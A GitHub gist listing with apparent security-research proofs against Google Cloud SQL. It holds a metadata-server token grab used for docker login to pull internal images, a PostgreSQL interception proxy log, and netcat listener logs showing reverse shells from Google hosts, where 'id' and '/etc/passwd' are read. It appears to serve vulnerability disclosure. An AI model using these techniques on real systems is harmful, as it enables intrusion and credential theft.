Skip to content

Instantly share code, notes, and snippets.

@irsl
irsl / HsfApplication.java
Last active December 28, 2022 20:19
Dump internal contents of an Android Parcel
package com.irsl.bindingexperiment;
import android.os.Parcel;
public class HsfApplication {
static {
System.loadLibrary("native-lib");
}
public static native void dumpParcel(Parcel parcel);
@irsl
irsl / gist:113d5b75e1fa4e61f66c68e2a5ad7161
Created October 18, 2021 09:35
Cloud SQL pubsub operation dispatching
Some of the operations are dispatched through a pubsub channel, for example "List Databases". Such a request looks like this:
radimre83@cloudshell:~$ echo 0ac2015246414746697864526b68524e786b496146454f5431346a507a55674b45555641674e5041696864655442554e6b46646451452d44526c796657463062564e46417756455769734e5878454e596c784f5241644a67655f4779316458536c675741415a42576e745757686745626c31566651463539615863732d4f593732344a4f6a724a7063727062547539756568645a69493958684a4c4c44352d4c43684651563541456b776e4855524a5579744443797059455534454953452d4d443546557712a7050a8505121d636c6f756473716c2d6772616e743a636c6f756473716c2d6772616e741a8d0310021a2b2f636f6e7461696e6572732f6372656174653f776169743d31267374646572723d31267374646f75743d3122d9027b0a20202022436d64223a5b0a20202020202022696e7374616e63652f6461746162617365222c0a202020202020222d616374696f6e3d6c697374222c0a202020202020222d6c6f67746f737464657272222c0a202020202020222d73696c656e745f696e6974220a2020205d2c0a20202022496d616765223a226763722e696f2f737065636b6c652d756d6272656c6c612f
@irsl
irsl / gist:09f75ca2e1fd4f25526475afb43f7037
Created October 18, 2021 06:29
debug/vars output of Cloud SQL healthcheck component
a-128731843257-vm-4e9b0807fdfca294 ~ # curl http://127.0.0.1:8080/debug/vars
{
".googleapis.com/database/healthcheck/response_count-map[response_code:OK url_path:/failover_healthz]": {"M":{"NameSuffix":".googleapis.com/database/healthcheck/response_count","Value":0,"Start":"2021-03-11T12:26:42.381799785Z","End":"2021-03-13T19:36:08.94244291Z","Labels":{"response_code":"OK","url_path":"/failover_healthz"},"Attachment":null},"Type":"int64"},
".googleapis.com/database/healthcheck/response_count-map[response_code:OK url_path:/healthz]": {"M":{"NameSuffix":".googleapis.com/database/healthcheck/response_count","Value":2,"Start":"2021-03-11T12:26:42.381845544Z","End":"2021-03-13T19:36:08.942494034Z","Labels":{"response_code":"OK","url_path":"/healthz"},"Attachment":null},"Type":"int64"},
".googleapis.com/database/healthcheck/response_count-map[response_code:OK url_path:/master_healthz]": {"M":{"NameSuffix":".googleapis.com/database/healthcheck/response_count","Value":264596,"Start":"2021-03-11T12:26:42.38176276Z","E
@irsl
irsl / gist:e15328250835b7ae2f7056f2f3a1d399
Created October 17, 2021 22:04
cloud sql iam hack proof
C:\Projects\google\gcp-app-engine-experiments\cloud-sql\mysql2\psql-proxy>perl psql-proxy.pl 34.78.147.29 cert.pem 0.0.0.0:5432
[Wed Apr 28 23:15:14 2021] Listening on 0.0.0.0:5432, awaiting connections
[Wed Apr 28 23:15:17 2021] New connection from 127.0.0.1:54841, connecting to upstream: 34.78.147.29:5432
[Wed Apr 28 23:15:17 2021] Connection established with upstream: 34.78.147.29:5432
[Wed Apr 28 23:15:17 2021] C->S:
00 00 00 08 04 d2 16 2f ……./
[Wed Apr 28 23:15:17 2021] S->C:
53 S
[Wed Apr 28 23:15:17 2021] STARTTLS
[Wed Apr 28 23:15:17 2021] Server switched to TLS
@irsl
irsl / gist:74c6daf34c54041aa835b2058f6a5080
Created October 17, 2021 22:02
cloud sql postgres iam example
export PGPASSWORD=$(gcloud auth print-access-token)
psql -h 34.78.147.29 - port=5432 - username radimre83@gmail.com - dbname postgres
psql (13.2 (Debian 13.2–1.pgdg100+1), server 9.6.21)
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
postgres=>
@irsl
irsl / gist:f4fd33fe26e9ad5c1fab2d87a475cfd6
Last active October 17, 2021 21:24
Google Cloud SQL docker images
{
"child": [
"latency_prober",
"mysql56_agents",
"mysql56_instance",
"mysql56_oneshot",
"mysql56_service",
"mysql57_32_agents",
"mysql57_32_instance",
"mysql57_32_service",
@irsl
irsl / gist:c039d81e6e22442564aab3d6ac19c14e
Created October 17, 2021 21:23
google cloud sql gcr repo download
a-128731843257-vm-4e9b0807fdfca294 /var/lib/cloud # docker login -u oauth2accesstoken -p "$(curl http://metadata.google.internal/0.1/meta-data/service-accounts/p128731843257-q6vrlq@gcp-sa-cloud-sql.iam.gserviceaccount.com/acquire | jq .accessToken)" https://gcr.io
WARNING! Using - password via the CLI is insecure. Use - password-stdin.
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
a-128731843257-vm-4e9b0807fdfca294 /var/lib/cloud # docker pull gcr.io/speckle-umbrella/postgres12_service:speckle_service_agents_20201006.00_RC02
speckle_service_agents_20201006.00_RC02: Pulling from speckle-umbrella/postgres12_service
0b69f467ef21: Pull complete
2e91ae236feb: Pull complete
root@f4297f8cd9e5:/data/cloud-build/reproto# cat ../reproto-argo/worker.proto
// original: blaze-out/k8-opt/genfiles/cloud/build/proto/worker/worker_grpc.pb.go
syntax = "proto3";
option go_package = "cloud/build/proto/worker";
message VMIdentityRequest {
@irsl
irsl / gist:5865133ee6f845a4e66888d30c4eec46
Created February 16, 2021 22:34
pgsql-code-execution-proof
root@debian-2gb-nbg1-1:~# nc -v -l -p 51111
listening on [any] 51111 ...
connect to [168.119.114.130] from 153.111.187.35.bc.googleusercontent.com [35.187.111.153] 47884
id
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
@irsl
irsl / gist:7a5fc96f088ceb339c493da648f967d0
Created February 16, 2021 22:28
reverse-shell-in-google-mysql
root@debian-2gb-nbg1-1:~# nc -v -l -p 51111
listening on [any] 51111 ...
connect to [168.119.114.130] from 112.29.155.104.bc.googleusercontent.com [104.155.29.112] 57984
id
uid=2345 gid=2345 groups=2345
cat /etc/passwd | grep mysql
/bin/sh: 2: grep: not found
cat: write error: Broken pipe
cat /etc/passwd
root:x:0:0:root:/:/bin/sh